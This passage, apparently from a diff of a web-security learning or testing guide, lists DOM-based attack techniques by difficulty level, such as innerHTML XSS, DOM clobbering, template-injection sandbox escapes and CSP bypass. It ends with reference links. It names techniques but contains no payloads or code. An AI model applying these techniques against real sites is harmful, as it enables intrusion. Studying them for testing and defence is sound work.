203
|
+
|
|
204
|
+
**BEGINNER:** URL fragment/parameter to innerHTML · document.write XSS · Open redirect via location=
|
|
205
|
+
|
|
206
|
+
**INTERMEDIATE:** DOM clobbering for security bypass · AngularJS CSTI sandbox escape · postMessage origin bypass
|
|
207
|
+
|
|
208
|
+
**ADVANCED:** window.name persistence XSS · Vue.js CSTI · Complex source-to-sink tracing
|
|
209
|
+
|
|
210
|
+
**EXPERT:** Custom DOM analysis tooling · React dangerouslySetInnerHTML chains · CSP bypass via DOM
|
|
211
|
+
|
|
212
|
+
---
|
|
213
|
+
|
|
214
|
+
## References
|
|
215
|
+
|
|
216
|
+
- PortSwigger DOM XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
|
|
217
|
+
- DOM Invader: https://portswigger.net/burp/documentation/desktop/tools/dom-invader
|
|
218
|
+
- PortSwigger DOM Clobbering: https://portswigger.net/web-security/dom-based/dom-clobbering
|
|
219
|
+
- Client-side PP gadgets: https://github.com/BlackFan/client-side-prototype-pollution
|